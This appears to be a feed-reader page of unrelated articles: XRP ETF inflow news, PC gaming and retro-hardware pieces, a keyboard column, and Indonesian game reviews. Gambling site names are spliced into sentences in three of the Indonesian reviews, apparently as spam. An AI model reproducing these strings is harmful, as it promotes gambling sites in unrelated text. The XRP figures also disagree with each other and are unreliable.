❌

Normal view

There are new articles available, click to refresh the page.
Yesterday β€” 5 December 2025Main stream

XRP ETFs Are About To Hit $1 Billion – Here’s How Much Is Flowing In Daily

5 December 2025 at 16:00

XRP ETFs are on the verge of hitting a significant milestone, with total Assets Under Management (AUM) approaching the $1 billion milestone. Since the launch of its ETF last month, hundreds of millions of dollars have been flowing in daily, making XRP the most successful new ETF entrant of 2025.Β 

XRP ETFs Close In On $1 Billion

XRP ETFs have continued to experience skyrocketing growth and institutional demand, now rapidly closing in on the $1 billion inflow milestone. Over the past two weeks, all five XRP ETFs have recorded over $984.54 million in cumulative net inflows, just $15.46 million away from $1 billion. This explosive, accelerated growth has effectively solidified XRP’s position as the third-largest crypto ETF, behind Bitcoin and Ethereum.

Data from Sosovalue reports 15 consecutive days of positive flow, with the XRP ETF recording its highest single-day inflow on November 14 at $243.05 million. Over the last two weeks, all five XRP ETFs, including REX-Osprey, have seen notable inflows, reflecting growing institutional interest and demand.Β 

XRP

According to crypto enthusiast @NADZOE93 on X, XRP has become the third cryptocurrency ever to surpass the $800 million ETF inflow threshold. She noted that while Spot Bitcoin ETFs reached this cap in just two days after their launch, Ethereum ETFs took 95 days. This officially positions XRP as the second-fastest crypto to hit the $800 million inflow mark.Β 

Notably, strong inflows in the XRP ETF began on November 13 with the launch of Canary Capitals XRPC. A week later, Bitwise introduced its own XRP ETF, followed shortly by Grayscale and Franklin Templeton debuting their funds. Since then, investments have continued to pour in, with $26.17 million flowing in just yesterday alone, bringing the total to $887.12 million after 15 days of positive flow.Β 

Crypto market analyst Neil Tolbert shared additional insights on the XRP ETF performance on X this week. He noted that five spot XRP ETFs are currently trading, with a combined $995 million in Assets Under Management. Canary Capital’s XRPC stands at the top of the market with $358.88 million, followed by Grayscale’s GXRP with $211.07 million, Bitwise’s ETF at $184.87 million, Franklin Templeton’s XRPZ at $132.3 million, and REX-Osprey at $108 million.Β 

Tolbert has stated that more ETFs are reportedly in the pipeline, with institutional demand set to grow as traditional finance takes notice of XRP. With the race to a $1 billion inflow milestone heating up, XRP ETFs have already surpassed those of Solana and Dogecoin.Β 

Institutions Accumulate Over 400 Million XRP Through ETFs

Institutional demand for XRP is reaching new heights as data from ETF tracker XRP Insights show that a whopping 425.76 million tokens have been officially locked. This surge in accumulation comes as the five currently launched XRP ETFs collectively reach $984.54 million in AUM.

This large amount of XRP held in ETFs shows how quickly institutions are adopting, as investors increasingly seek regulated, transparent ways to gain exposure to cryptocurrencies. Analysts have also warned that if ETFs continue to absorb XRP at such a rapid pace, it could trigger a supply shock as the number of tokens in circulation declines.

XRP

Before yesterdayMain stream

The 29 best PC games you can play right now for 2025

By: Engadget
4 December 2025 at 05:00

PC gamers have almost too many options when it comes to titles to play, which is a great problem to have. With decades of games to choose from (and the first port of call for most indie titles, too), the options are endless. You also get the perks of (nearly always flawless) backward compatibility and console-beating graphical performance β€” if you've got the coin for it when you’re building your perfect kit or picking up a high-powered gaming laptop.

The whole idea of what a gaming PC is and where you can play it is shifting, too, with the rise of handheld gaming PCs like the Steam Deck. We've tried to be broad with our recommendations here on purpose; here are the best PC games you can play right now.

Best PC games to play right now

Check out our entire Best Games series including the best Nintendo Switch games, the best PS5 games, the best Xbox games, the best PC games and the best free games you can play today.

This article originally appeared on Engadget at https://www.engadget.com/gaming/pc/the-best-pc-games-150000910.html?src=rss

Β©

Β© Devolver Digital / Engadget

The best PC games

Valve’s Steam Machine looks like a console, but don’t expect it to be priced like one

25 November 2025 at 11:51

After Valve announced its upcoming Steam Machine living room box earlier this month, some analysts suggested to Ars that Valve could and should aggressively subsidize that hardware with β€œloss leader” pricing that leads to more revenue from improved Steam software sales. In a new interview with YouTube channel Skill Up, though, Valve’s Pierre-Loup Griffais ruled out that kind of console-style pricing model, saying that the Steam Machine will be β€œmore in line with what you might expect from the current PC market.”

Griffais said the AMD Zen 4 CPU and RDNA3 GPU in the Steam Machine were designed to outperform the bottom 70 percent of machines that opt-in to Valve’s regular hardware survey. And Steam Machine owners should expect to pay roughly what they would for desktop hardware with similar specs, he added.

β€œIf you build a PC from parts and get to basically the same level of performance, that’s the general price window that we aim to be at,” Griffais said.

Read full article

Comments

Β© Valve

A Couple Of New DOS PCs Appear

23 November 2025 at 22:00

An interesting trend over the last year or two has been the emergence of modern retrocomputer PCs, recreations of classic PC hardware from back in the day taking advantage of modern parts alongside the venerable processors. These machines are usually very well specified for a PC from the 1980s, and represent a credible way to run your DOS or early Windows software on something close to the original. [CNX Software] has news of a couple of new ones from the same manufacturer in China, one sporting a 386sx and the other claiming it can take either an 8088 or an 8086.

Both machines use the same see-through plastic case, screen, and keyboard, and there are plenty of pictures to examine the motherboard. There are even downloadable design files, which is an interesting development. They come with a removable though proprietary looking VGA card bearing a Tseng Labs ET4000, a CF card interface, a USB port which claims to support disk drives, a sound card, the usual array of ports, and an ISA expansion for which a dock is sold separately. The battery appears to be a LiPo pouch cell of some kind.

If you would like one they can be found through the usual channels for a not-outrageous price compared to similar machines. We can see the attraction, though maybe we’ll stick with an emulator for now. If you’d like to check out alternatives we’ve reported in the past on similar 8088 and 386sx computers.

Keebin’ with Kristina: the One with the Cipher-Capable Typewriter

17 November 2025 at 13:00
Illustrated Kristina with an IBM Model M keyboard floating between her hands.

I must confess that my mouth froze in an O when I saw [Jeff]’s Typeframe PX-88 Portable Computing System, and I continue to stare in slack-jawed wonder as I find the words to share it with you. Let me give it a shot.

[Jeff] tells us that he designed Typeframe for his spouse to use as a writer deck. That’s good spousing, if you ask me. Amazingly, this is [Jeff]’s first project of this type and scope, and somehow it’s an elegant, yet easy build that’s quite well documented to boot. Whatever Typeframe’s design may borrow, it seems to give back in spades.

The Typeframe PX-88 Portable Computing System.
Image by [Jeff] via Typeframe.net
Use Typeframe for what you will β€” cyberdeck, writer deck, travel PC β€” this baby can handle whatever you throw at it. And of course, it’s open source from front to back.

This Raspberry Pi 4B-based productivity machine has all sorts of neat features. The touch screen flips upward at an angle, so you don’t have to hunch over it or carry a mouse around. Want to sit back a bit while you work? The aesthetically spot-on keyboard is detachable. Yeah.

If that’s not enough to get you interested, Typeframe is designed for simple construction with minimal soldering, and the sliding panels make maintenance a breeze.

A little more about that keyboard β€” this is Keebin’, after all. It’s an MK Point 65, which boasts hot-swap sockets under those DSA Dolch keycaps. See? Minimal soldering. In fact, the only things you have to solder to make the Typeframe your own are the power switch and the status light. Incredible.

Decktility Goes Where You Go

Need something even more portable than the Typeframe? Something that might even fit in your cargo pocket? Decktility could be your answer. You’re gonna have to use your thumbs to type on this one, but that’s the price you pay for ultra portability.

Image by [Ken Van Hoeylandt] via Byte Welder
Built back in 2023, [Ken Van Hoeylandt] combined the Raspberry Pi CM4 with the BigTreeTech Raspberry Pad 5, and β€œspent many hours developing a case” that fits perfectly. The idea was to push the limits of a Pi-based handheld without it melting down.

The tricky part about using your thumbs is that the experience can be somewhat lacking. But the Bluetooth keyboard [Ken] used actually looks pretty good, and I say this based on this close-up from GitHub. The keys look responsive and the caps aren’t too shallow.

One of the design challenges centered around the batteries β€” 18650s, because as [Ken] says, flat Li-Pos get spicy when they short-circuit. Both the 18650s and the screen are somewhat heavy, so everything is balanced with the batteries acting somewhat as handles.

This is a great project, and it seems as though [Ken] learned a lot in the process. Be sure to check out the build log for all the gory details.

The Centerfold: Party Like It’s Nineteen Nine-T9

Yeah, I know, not your conventional centerfold. The cuteness factor of this 12-key macropad got me, as did the terrazzo party background. But there’s slightly more to [Joe Scotto]’s latest build than meets the eye.

Rather than using predictive typing, the ScottoT9 uses QMK tap dance, wherein a single key can do β€˜3, 5, or 100 different things’ depending on how many times you hit it in quick succession. [Joe] reports that it’s surprisingly easy get up to speed on the thing.

This RP2040 Pro Micro-based build is completely open source, including those lovely keycaps. But if you want them to look this good, you may want to just buy some.

Do you rock a sweet set of peripherals on a screamin’ desk pad? Send me a picture along with your handle and all the gory details, and you could be featured here!

Historical Clackers: the Diskret Code Typewriter

The Diskret (discreet) code typewriter from 1899 is a stunning German beauty of an index typewriter, far removed from the neon-accented see-through plastic label-maker from the late 80s that I often use.

Image via The Antikey Chop

Yet they are of the same spirit: choose a letter with some pointing device, imprint it with some lever action, and repeat.

Stark aesthetic differences aside, the Diskret does far more than my newfangled index typewriter. Designed with two concentric rings, the inner ring can be spun to allow the user to type in code.

For normal typewritering, the typist chose a letter from the outer ring of characters with a lever, which turned the typewheel mounted behind it. Then they would press down to print, and the carriage would advance by one character width to get ready for the next impression.

To use the Diskret as a cipher machine, the typist would spin the inner ring to create a false index, generating a coded letter. The recipient would have to have a Diskret in the same position in order to read the message. Yes, it’s basic, but it was one of the first code typewriters.

Most of this beautiful machine’s metal components were engraved with Jugendstil, or German Art Nouveau embellishments. It came mounted to a thick wood base, and featured a top with handle. A Diskret cost 75 marks, and, at the time, one mark equaled about $4. So, not exactly cheap, but it’s two typewriters in one.

Finally, Will Gen Alpha Cancel Keyboards Altogether?

No, of course not.Β But a study by the London School of Economics seems to think that the office drones of 2030 or so will skirt future first-draft keyboard use with AI voice typing tools, like everyday, all the time. And yeah, but they’ll have to use a keyboard to edit. Or, get this β€” they’ll just send voice notes to their bosses all the time. You know, good old unsearchable audio files that will be a pain to sift through later. Sure.

Gen Alpha stares out the window, arms akimbo, leaving a lengthy voice note for their Gen-X boss who just wants to read messages, and quickly. Image via Jabra

Did I mention that the study was done in collusion with Jabra, an audio-video technology company? They make highfalutin’ headsets and such. Ahem.

Now, I have a little secret β€” Y.T. has used powerful (and not-so-powerful) dictation tools here and there, especially after the surgery, and I could swear I’ve heard others talk-typing around the Hackaday Dungeon, although I can’t be sure. But I really like the act of typing, especially now that it doesn’t cause me intense, weird pain.

If I may cherry-pick a quote from the Fortune article, I choose this one: β€œspeaking replaces typing because it matches how we think: fast, iterative, conversational.” I say all of that depends on your level of written wit, something that gets refined throughout the course of one’s life by, you know, writing or typing, and then reading, editing, removing, replacing, and so forth until it appears flowy and conversational.

And no, I didn’t speak-type a bit of this column. I missed typing on my Kinesis Advantage too much. See you next week-ish.


Got a hot tip that has like, anything to do with keyboards? Help me out by sending in a link or two. Don’t want all the Hackaday scribes to see it? Feel free to email me directly.

Dune Awakening dan Harapan Baru dalam Dunia Survival MMO yang Terinspirasi Padang Pasir Arrakis

22 July 2025 at 08:54

Tidak semua game yang terinspirasi dari waralaba besar mampu membawa semangat aslinya ke dalam pengalaman interaktif. Namun Dune: Awakening, proyek ambisius dari Funcom, tampil sebagai pengecualian yang patut diperhitungkan. Menggabungkan elemen survival, open world, dan multiplayer masif, game ini mencoba menangkap esensi dunia Dune karya Frank Herbert sambil menciptakan sesuatu yang benar benar baru bagi penggemar genre game bertahan hidup dan penjelajahan bebas.

Dune bukan sekadar padang pasir. Ia adalah planet penuh misteri, konflik kekuasaan, dan filosofi tentang kendali atas sumber daya yang paling berharga di alam semesta: spice. Dune: Awakening menempatkan pemain di tengah kekacauan Arrakis dan membiarkan mereka menentukan nasibnya sendiri dalam dunia yang terus berubah dan tak pernah memberikan rasa aman.

Arrakis Bukan Sekadar Latar, Tapi Lawan yang Abadi

Salah satu daya tarik utama Dune: Awakening terletak pada cara pengembang menghidupkan Arrakis. Tidak seperti game survival biasa hokijp168 yang memiliki lanskap statis, Arrakis adalah dunia aktif yang senantiasa berubah. Badai pasir bisa menghancurkan bangunan dan mengubur jalanan yang sebelumnya kamu kenal. Monster gurun seperti cacing pasir raksasa bisa muncul tiba tiba dan menghancurkan kendaraanmu. Tidak ada tempat yang benar benar aman.

Elemen survival dalam game ini diperkuat oleh kondisi alam yang ekstrem. Cuaca, suhu, dan kebutuhan dasar seperti air dan makanan menjadi tantangan utama yang harus diatasi pemain setiap harinya. Ini bukan hanya tentang bertarung atau mengumpulkan sumber daya, tetapi juga tentang bagaimana kamu beradaptasi dengan lingkungan yang sangat tidak bersahabat.

Pemain dituntut untuk belajar membaca tanda tanda cuaca, memanfaatkan struktur untuk berteduh, dan menggunakan teknologi khas dunia Dune untuk bertahan hidup. Ketika kamu menjelajah lebih jauh ke dalam gurun, Arrakis akan menunjukkan wujud aslinya sebagai makhluk hidup yang menuntut respek dan kewaspadaan.

Spice: Nafas Kehidupan dan Sumber Konflik

Dalam semesta Dune, spice adalah segalanya. Ia bukan hanya sumber energi dan kekuatan, tetapi juga pusat konflik antar faksi. Di Dune: Awakening, spice menjadi poros utama ekonomi, kemajuan teknologi, dan bahkan sistem progresi karakter. Mengumpulkan spice bukanlah pekerjaan mudah, karena selain dijaga ketat oleh musuh, aktivitas ini juga mengundang perhatian cacing pasir.

Pemain harus mengatur strategi dan waktu dengan bijak. Apakah kamu akan mengumpulkan spice dalam diam, atau membangun kekuatan militer untuk mengklaim lokasi strategis dan melawan pemain lain? Keputusan ini akan membentuk reputasimu di antara komunitas dan menentukan jalur cerita yang kamu jalani.

Salah satu fitur unik adalah bagaimana spice memengaruhi karakter secara langsung. Konsumsi spice dapat membuka kemampuan baru, memperkuat tubuh, dan memperluas persepsi. Namun seperti dalam novel, konsumsi berlebihan memiliki konsekuensi. Ini menciptakan dilema moral dan strategis yang jarang ditemukan dalam game survival.

Sistem Fraksi yang Dinamis dan Dipengaruhi Pemain

Tidak seperti game MMO survival yang hanya menyediakan fraksi statis sebagai latar belakang, Dune: Awakening memungkinkan pemain membentuk atau mempengaruhi jalannya fraksi besar di dunia Arrakis. Kamu bisa bergabung dengan House besar, membantu membangun kekuasaan mereka, atau justru menjadi pemberontak yang menantang dominasi aristokrasi galaksi.

Diplomasi, spionase, dan ekonomi menjadi bagian dari permainan yang sama pentingnya dengan pertarungan. Pemain bisa terlibat dalam perundingan antar faksi, sabotase misi musuh, atau bahkan menjalin aliansi rahasia untuk kepentingan pribadi. Dunia sosial dalam Dune: Awakening bergerak seperti papan catur besar yang terus berubah sesuai tindakan kolektif para pemainnya.

Selain itu, faksi juga memengaruhi akses terhadap teknologi, senjata, dan kendaraan. Bergabung dengan kelompok elit akan membuka akses ke teknologi mutakhir, namun bisa membuatmu menjadi target musuh. Sementara hidup sebagai independen memberi kebebasan total, tapi dengan risiko minimnya perlindungan dan sumber daya.

Pertarungan yang Menuntut Taktik dan Ketelitian

Dune: Awakening tidak menampilkan pertarungan sembarangan. Setiap pertempuran membutuhkan perencanaan, pemilihan senjata, dan pemanfaatan medan dengan cerdas. Senjata api, alat energi, perisai pelindung, dan kendaraan berat semua tersedia, tetapi tidak ada yang mutlak unggul. Setiap senjata dan strategi memiliki kelemahan dan keunggulan tergantung situasi.

Misalnya, perisai pelindung akan menahan proyektil konvensional, tetapi bisa ditembus oleh serangan lambat atau senjata jarak dekat. Ini menciptakan lapisan taktik yang mendalam dalam setiap konflik, baik dalam duel individu maupun perang skala besar antar kelompok.

Tidak hanya bertarung melawan pemain lain, kamu juga harus menghadapi bahaya dari lingkungan seperti badai listrik, hewan gurun mematikan, dan sisa teknologi kuno yang menjadi ancaman tersendiri. Semua ini menuntut pemain untuk selalu siap dan adaptif.

Eksplorasi dan Penemuan yang Tak Pernah Sia sia

Dunia Dune: Awakening sangat luas dan menyimpan banyak rahasia. Dari reruntuhan bangunan Bene Gesserit hingga laboratorium tersembunyi milik Ix, pemain didorong untuk menjelajah dan menemukan peninggalan masa lalu. Setiap tempat memiliki kisahnya sendiri yang tersimpan dalam catatan, artefak, atau peristiwa yang pernah terjadi di lokasi tersebut.

Menemukan teknologi kuno bisa membuka jalur progresi eksklusif, kemampuan langka, atau informasi penting untuk mengalahkan musuh kuat. Penjelajahan bukan hanya sekadar jalan jalan, tapi bagian penting dari strategi bertahan dan berkembang di dunia Arrakis.

Kebebasan Penuh dalam Membangun dan Berkembang

Di tengah kerasnya gurun, pemain diberikan kebebasan untuk membangun. Dari tenda sederhana hingga basis militer besar, semua bisa dikembangkan sesuai kebutuhan. Sistem pembangunan dalam Dune: Awakening tidak hanya kosmetik, tapi fungsional. Kamu bisa membangun pusat produksi spice, menara pengawas, tempat penelitian, hingga fasilitas pelatihan.

Sumber daya terbatas dan seringkali harus diperebutkan, sehingga membangun tidak hanya tentang desain, tapi juga strategi. Apakah kamu akan membuat basis tersembunyi jauh dari pusat konflik, atau membangun markas besar di titik strategis penuh risiko?

Selain itu, kamu juga bisa merekrut pengikut, NPC dengan keahlian berbeda yang bisa membantumu bertahan, mempercepat produksi, atau bahkan bertempur bersamamu. Semua ini memperkaya kedalaman gameplay dan menciptakan nuansa RPG yang kental dalam dunia MMO survival.

Kustomisasi Karakter dan Peran

Seperti dunia Dune yang penuh dengan identitas dan filosofi, Dune: Awakening memungkinkan pemain membentuk karakter unik dengan latar belakang dan spesialisasi tertentu. Apakah kamu akan menjadi pengintai, pedagang spice, pembunuh bayaran, diplomat, atau ilmuwan?

Pilihan pilihan ini tidak hanya kosmetik, tapi memengaruhi dialog, akses teknologi, bahkan hubungan sosial dengan NPC dan pemain lain. Sistem ini mendorong keragaman dalam komunitas dan membuat setiap karakter terasa hidup dan berbeda satu sama lain.

Kesimpulan: Dune Awakening adalah Evolusi Baru Game Survival MMO

Dune: Awakening bukan sekadar adaptasi dari dunia fiksi ilmiah legendaris, tetapi juga langkah besar dalam genre survival MMO. Dengan memadukan ekosistem dinamis, konflik sosial, ekonomi berbasis sumber daya langka, dan kebebasan membentuk identitas pemain, game ini menciptakan dunia hidup yang tak pernah diam.

Arrakis bukan tempat bagi yang lemah. Ia adalah panggung bagi petarung, pemimpin, pengkhianat, dan pencari makna. Setiap pasir yang terhembus angin menyimpan rahasia. Setiap langkah yang kamu ambil bisa menentukan nasib faksi, bahkan planet itu sendiri.

Dune: Awakening tidak menawarkan kenyamanan, tetapi menawarkan petualangan yang sarat makna dan ketegangan. Sebuah pengalaman yang bisa menjebakmu selama berjam jam, bukan karena repetisi, tetapi karena rasa haus untuk terus memahami dan menguasai dunia yang begitu liar, keras, dan indah ini.

The post Dune Awakening dan Harapan Baru dalam Dunia Survival MMO yang Terinspirasi Padang Pasir Arrakis appeared first on Informasi Untukmu Seputar Game PC, Mobile Sampai Konsol.

Silent Hill 2: Ketika Teror Psikologis Menjadi Cermin Jiwa

7 July 2025 at 07:12

Bagi banyak penggemar horor, Silent Hill 2 bukan sekadar video game. Ia adalah sebuah pengalaman, sebuah perjalanan ke dalam kedalaman batin manusia yang terganggu. Game yang dirilis oleh Konami pada tahun 2001 ini telah melekat kuat dalam sejarah sebagai salah satu mahakarya horor psikologis terbaik yang pernah dibuat. Lewat atmosfer toto macau 4d yang mencekam, musik yang menghantui, dan tema-tema emosional yang berat, Silent Hill 2 menghadirkan sebuah cerita yang tidak hanya menakutkan, tetapi juga memilukan.

saya ingin mengajak Anda melihat lebih dalam: mengapa Silent Hill 2 begitu abadi, dan bagaimana game ini mengangkat standar baru untuk genre horor, bukan dengan mengejutkan pemain lewat jump scare, tapi dengan menggerogoti rasa aman mereka secara perlahanβ€”hingga habis tak tersisa.

Sebuah Surat dari Istri yang Telah Tiada

Cerita Silent Hill 2 berpusat pada James Sunderland, seorang pria biasa yang menerima surat dari istrinya, Mary. Yang membuat segalanya terasa salah adalah: Mary sudah meninggal tiga tahun lalu. Surat itu membimbing James ke kota berkabut Silent Hill, tempat kenangan indah mereka dulu terciptaβ€”dan di mana kini, horor batin mengintainya di setiap sudut.

Apa yang membuat kisah ini unik adalah kedalaman temanya. Silent Hill 2 tidak berbicara tentang hantu dalam arti konvensional. Sebaliknya, kota Silent Hill bertindak sebagai cermin psikologis, memanifestasikan rasa bersalah, trauma, dan penyangkalan yang ada dalam diri James dan karakter lainnya.

Ini bukan cerita tentang melawan iblis. Ini adalah cerita tentang melawan diri sendiri.

Dunia Berkabut yang Mengisolasi

Silent Hill, sebagai setting utama, bukan sekadar latar tempat. Kota ini adalah karakter tersendiri. Kabut yang menutupi pandangan, suara radio statis yang memekakkan telinga saat musuh mendekat, jalan yang buntu tanpa penjelasan, serta suasana sepi yang mencengkeram jiwaβ€”semuanya dikemas dengan penuh presisi untuk menciptakan ketegangan psikologis.

Kamu tidak hanya merasa sendirian di kota ini. Kamu merasa diawasi, dan lebih buruknya, kamu sendiri tidak tahu oleh siapa. Dengan minimnya cahaya, pergerakan yang terbatas, dan pacing lambat yang disengaja, Silent Hill 2 membangun atmosfer yang mengikis rasa amanmu dari waktu ke waktu.

Soundtrack karya Akira Yamaoka semakin memperkuat nuansa iniβ€”melodi piano lembut yang menyayat hati, efek suara industri yang mengerikan, dan diam yang berdenting lebih keras dari suara apa pun.

Monster sebagai Manifestasi Emosi

Salah satu aspek paling ikonik dari Silent Hill 2 adalah desain monsternya. Mereka bukan sekadar musuh untuk dibunuh, tetapi adalah refleksi dari isi pikiran karakter utama.

Contohnya:

  • Pyramid Head, musuh paling terkenal di game ini, bukan hanya simbol teror, tetapi representasi rasa bersalah James atas masa lalunya. Ia tidak bisa dibunuh dengan cara biasa, karena ia adalah bagian dari James sendiri.
  • Lying Figure, monster yang tubuhnya dibungkus seperti straitjacket dan menyemburkan asap dari dada, bisa ditafsirkan sebagai simbol represi emosional.
  • Mannequin, makhluk berkaki dua pasang tanpa kepala, melambangkan objektifikasi dan ketegangan seksual James.

Tidak seperti game horor biasa, Silent Hill 2 memaksa pemain untuk merenungkan makna keberadaan monster, bukan hanya cara mengalahkannya. Ini adalah pengalaman horor yang lebih bersifat introspektif ketimbang reaktif.

Karakter-Karakter yang Rusak

Selain James, game ini memperkenalkan karakter-karakter lain yang semuanya memiliki luka batin tersendiri:

  • Angela Orosco, seorang gadis muda yang mengalami kekerasan seksual dari ayahnya, terjebak dalam siklus rasa bersalah dan keinginan untuk mati.
  • Eddie Dombrowski, pria yang mengalami bullying berat dan mengarah pada kekerasan terhadap siapa pun yang memandang rendah dirinya.
  • Maria, sosok yang mirip Mary namun lebih sensual dan impulsifβ€”dia menjadi simbol antara pengganti Mary dan obsesi James yang belum selesai.

Setiap karakter membawa cerita kelam dan trauma pribadi mereka sendiri. Interaksi mereka dengan James tidak hanya menambah kedalaman naratif, tapi juga membuka berbagai lapisan emosi dan moral yang mengaburkan batas antara benar dan salah.

Multi Ending: Cermin dari Pilihanmu

Salah satu keunggulan Silent Hill 2 adalah sistem ending-nya yang tidak ditentukan oleh keputusan eksplisit, tetapi oleh cara kamu bermain. Apakah kamu sering memeriksa status kesehatan James? Apakah kamu menunjukkan perhatian pada Maria? Apakah kamu banyak menjelajahi area atau langsung menuju tujuan?

Dari tindakan-tindakan itu, game akan menyimpulkan arah emosional Jamesβ€”apakah ia mampu menerima kenyataan, apakah ia memilih untuk melarikan diri, atau bahkan apakah ia memilih untuk mengikuti suara kelam di kepalanya. Ada ending yang tragis, ambigu, dan bahkan ending rahasia yang konyol (seperti ending UFO), tapi semuanya memperkuat identitas naratif game ini.

Mekanika Gameplay yang Sederhana Namun Efektif

Secara gameplay, Silent Hill 2 memang tidak menampilkan sistem pertarungan kompleks. James bukan petarung, dan itu terlihat dari cara ia mengayunkan pipa besi atau menembakkan pistol. Gerakannya kaku, dan itu disengajaβ€”untuk menegaskan bahwa kamu adalah manusia biasa, bukan pahlawan.

Puzzle dan teka-teki menjadi bagian penting dari game ini, memaksa pemain untuk memperhatikan detail, dokumen, simbol, dan bahkan metafora. Ada rasa kepuasan tersendiri ketika berhasil memecahkan teka-teki di sebuah apartemen angker, atau saat menemukan kunci di dalam kaleng makanan anjing.

Meski terlihat sederhana, semua elemen gameplay dibalut dengan narasi dan atmosfer yang kuat, menjadikannya bagian utuh dari pengalaman bermain.

Warisan dan Pengaruh yang Bertahan

Lebih dari dua dekade setelah perilisannya, Silent Hill 2 tetap dianggap sebagai puncak dari genre survival horror. Game ini menjadi bahan studi bagi desainer game, penulis naratif, dan bahkan peneliti psikologi.

Berbagai game horor modern seperti Amnesia, Layers of Fear, The Medium, bahkan The Last of Us Part II, meminjam elemen-elemen emosional, atmosferik, dan psikologis dari Silent Hill 2. Bahkan film-film seperti Jacob’s Ladder dan The Babadook kerap dikaitkan sebagai inspirasi atau saudara tematik dari game ini.

Dan dengan remake resmi Silent Hill 2 dalam pengerjaan oleh Bloober Team, harapan besar muncul untuk membawa ulang mahakarya ini ke generasi pemain yang lebih baruβ€”tentu saja, sambil menjaga keintiman dan kedalaman emosional yang menjadi jiwanya.

Kesimpulan: Ketakutan Terbesar Ada di Dalam Diri Kita

Silent Hill 2 tidak menakutkan karena monster-monsternya, atau karena tampilannya yang suram. Ia menakutkan karena menyentuh ketakutan yang paling dalamβ€”kesedihan, penyesalan, trauma, rasa bersalah, dan keinginan untuk memperbaiki hal-hal yang sudah terlambat.

Game ini mengajarkan bahwa terkadang, musuh terbesar adalah pikiran kita sendiri. Bahwa kota yang berkabut itu bukanlah tempat, melainkan perwujudan dari luka yang tak sembuh. Dan bahwa bahkan dalam kegelapan terdalam pun, selalu ada pilihanβ€”antara menerima, atau tenggelam.

The post Silent Hill 2: Ketika Teror Psikologis Menjadi Cermin Jiwa appeared first on Informasi Untukmu Seputar Game PC, Mobile Sampai Konsol.

Dead Island 2 dan Kesenangan Brutal Membantai Zombie di Tengah Matahari California

3 July 2025 at 04:50

Setelah penantian panjang selama hampir satu dekade, Dead Island 2 akhirnya bangkit dari kubur pengembangannya yang penuh drama. Game ini pertama kali diumumkan pada 2014 dan mengalami beberapa kali pergantian studio pengembang, hingga akhirnya diselesaikan oleh Dambuster Studios dan dirilis secara resmi pada tahun 2023. Meski perjalanan data kingkong4d pengembangannya penuh liku, hasil akhirnya cukup mengejutkanβ€”bukan karena inovasi luar biasa, tapi karena ia tahu persis apa yang ingin diberikan: kekacauan berdarah, aksi over-the-top, dan dunia zombie yang menyenangkan.

saya melihat Dead Island 2 bukan sebagai game zombie yang ingin memecahkan standar baru, melainkan sebagai perayaan kekerasan bergaya arcade di tengah dunia yang penuh warna dan kegilaan. Ini bukan game yang mendorongmu merenung, tapi game yang memintamu tersenyum sambil memutilasi zombie dengan cara yang paling absurd.

Dari Pulau ke Pantai: L.A. Jadi Neraka yang Terang Benderang

Berbeda dari pendahulunya yang berlatar di pulau tropis bernama Banoi, Dead Island 2 membawa kita ke Los Angeles (yang kini disebut β€œHELL-A”), yang telah berubah menjadi zona karantina penuh zombie. Wilayah seperti Beverly Hills, Venice Beach, dan Hollywood direpresentasikan dengan gaya semi-open world, memadukan pemandangan khas L.A. dengan kehancuran dan mayat hidup berkeliaran.

Salah satu hal paling menarik dari Dead Island 2 adalah kontras tajam antara dunia cerah yang glamor dan kekerasan eksplisit yang terjadi di dalamnya. Ini adalah game zombie yang tidak bermain di lorong gelap atau bunker bawah tanahβ€”ia bermain di tengah sinar matahari, pesta kolam renang, dan toko-toko mewah yang kini dipenuhi darah dan isi perut manusia.

Dunia ini bukan hanya sekadar latar, tetapi juga penuh dengan misi sampingan, cerita lucu, satir sosial, dan detail dunia yang menambah imersi. Kamu akan menemukan influencer yang masih merekam video saat kiamat zombie, pesta elit yang berubah menjadi pembantaian, dan NPC eksentrik yang tetap berpegang pada gaya hidup Hollywood meski dunia telah runtuh.

Karakter: Slayer Penuh Gaya dan Darah

Dalam Dead Island 2, kamu bisa memilih salah satu dari enam karakter atau β€œSlayers”, masing-masing dengan latar belakang, kepribadian, dan skill unik. Pemilihan karakter ini berpengaruh pada gaya bermainmu, karena setiap Slayer punya kombinasi Stats dan β€œInnate Skills” yang tidak bisa diubah.

Beberapa di antaranya:

  • Dani – Slayer dengan kemampuan regenerasi saat membunuh dan serangan eksplosif. Cocok untuk gaya bermain agresif.
  • Jacob – Bertenaga besar dan ideal untuk pertarungan jarak dekat.
  • Amy – Cepat dan gesit, cocok untuk pemain yang suka taktik hit-and-run.

Tidak seperti RPG berat, kamu tidak akan naik level dan bebas mengalokasikan poin ke mana saja. Sebagai gantinya, game ini menggunakan sistem Skill Cards, di mana kamu bisa menyesuaikan gaya bertarung dengan mengatur kartu kemampuan aktif dan pasif. Sistem ini cukup fleksibel dan memberi pemain keleluasaan bereksperimen tanpa kompleksitas berlebih.

Sistem FLESH: Simfoni Kekerasan dan Mutilasi

Jika ada satu fitur yang paling menonjol di Dead Island 2, itu adalah FLESH system (Fully Locational Evisceration System for Humanoids)β€”teknologi pemotongan tubuh zombie yang memungkinkan pemain menghancurkan, mencabik, dan memutilasi zombie secara dinamis dan sangat detail.

Dengan FLESH, kamu bisa:

  • Menghancurkan tengkorak musuh secara perlahan.
  • Memotong tangan atau kaki sesuai arah tebasan.
  • Membakar, melelehkan, atau menggoreng zombie hingga hanya tersisa kerangka.

Mungkin terdengar sadis, tapi di sinilah letak daya tarik game ini. Dead Island 2 tidak mengambil dirinya terlalu serius. Ia adalah kartun berdarah dengan efek sinematik, dan setiap pertempuran terasa seperti pertunjukan kekerasan yang absurd. FLESH system membuat setiap senjata terasa berdampak dan menjadikan aksi pembantaian zombie sesuatu yang benar-benar memuaskan.

Senjata dan Modifikasi: Alat Kreatif untuk Kekacauan

Game ini memiliki puluhan senjata melee dan jarak jauh, dari katana, martil, pipa besi, hingga senapan dan molotov. Tapi daya tarik utama adalah kemampuan memodifikasi senjata dengan berbagai efek elemental, seperti:

  • Api untuk membakar zombie.
  • Listrik untuk menyetrum dan melumpuhkan.
  • Racun untuk efek area damage.
  • Asam untuk merusak armor dan kulit zombie.

Modifikasi ini dapat digabung dengan sistem FLESH untuk menciptakan pembantaian yang sinematik, misalnya: menyiram lantai dengan air, menyalakannya dengan percikan listrik, lalu menyaksikan zombie terbakar sambil kamu tertawa puas.

Kamu bisa memperbaiki, meng-upgrade, atau mendaur ulang senjata di Workbench. Tapi jangan terlalu terikat pada satu senjata, karena durability tetap berlaku, memaksa kamu untuk terus beradaptasi dengan kondisi pertempuran.

Cerita: Sederhana Tapi Cukup Seru

